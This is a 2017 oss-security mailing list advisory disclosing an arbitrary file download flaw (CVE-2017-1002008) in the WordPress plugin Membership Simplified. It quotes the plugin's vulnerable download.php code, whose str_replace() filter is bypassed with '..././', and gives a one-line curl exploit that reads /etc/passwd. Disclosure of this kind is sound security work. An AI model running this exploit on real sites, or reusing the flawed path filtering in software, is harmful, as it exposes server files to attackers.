oss-security - Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-id: <59CD5258-22E2-46F1-83AF-EE4B78EFD88D@me.com>
Date: Tue, 14 Mar 2017 16:33:34 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Arbitrary file download vulnerability in Wordpress Plugin Membership
 Simplified v1.58

Title: Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
Author: Larry W. Cashdollar, @_larry0
Date: 2017-03-13
CVE-ID:[CVE-2017-1002008]
Download Site: https://wordpress.org/plugins/membership-simplified-for-oap-members-only
Vendor: https://profiles.wordpress.org/williamdeangelis/
Vendor Notified: 2017-03-13
Vendor Contact: plugins@...dpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=187
Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Vulnerability:
The file download code located membership-simplified-for-oap-members-only/download.php does check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:

 3 $path = substr(getcwd(), 0, -50). "uploads/membership-simplified-for-oap-members-only/"; // change the path to fit your websites document structure
  4 $fullPath = $path.$_GET['download_file'];
  5 $fullPath = str_replace("../","",$fullPath);
  6 
  7 if ($fd = fopen($fullPath, "r")) {
  8     $fsize = filesize($fullPath);
  9     $path_parts = pathinfo($fullPath);
 10     $ext = strtolower($path_parts["extension"]);
 11     switch ($ext) {
 12         case "pdf":
 13         header("Content-type: application/pdf"); // add here more headers for d    iff. extensions
 14         header("Content-Disposition: attachment; filename=\"".$path_parts["base    name"]."\""); // use 'attachment' to force a download
 15         break;
 16         default;
 17         header("Content-type: application/octet-stream");
 18         header("Content-Disposition: filename=\"".$path_parts["basename"]."\"")    ;
 19     }
 20     header("Content-length: $fsize");
 21     header("Cache-control: private"); //use this to open files directly
 22     while(!feof($fd)) {
 23         $buffer = fread($fd, 2048);
 24         echo $buffer;

Exploit Code:
	• $ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd
	•

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.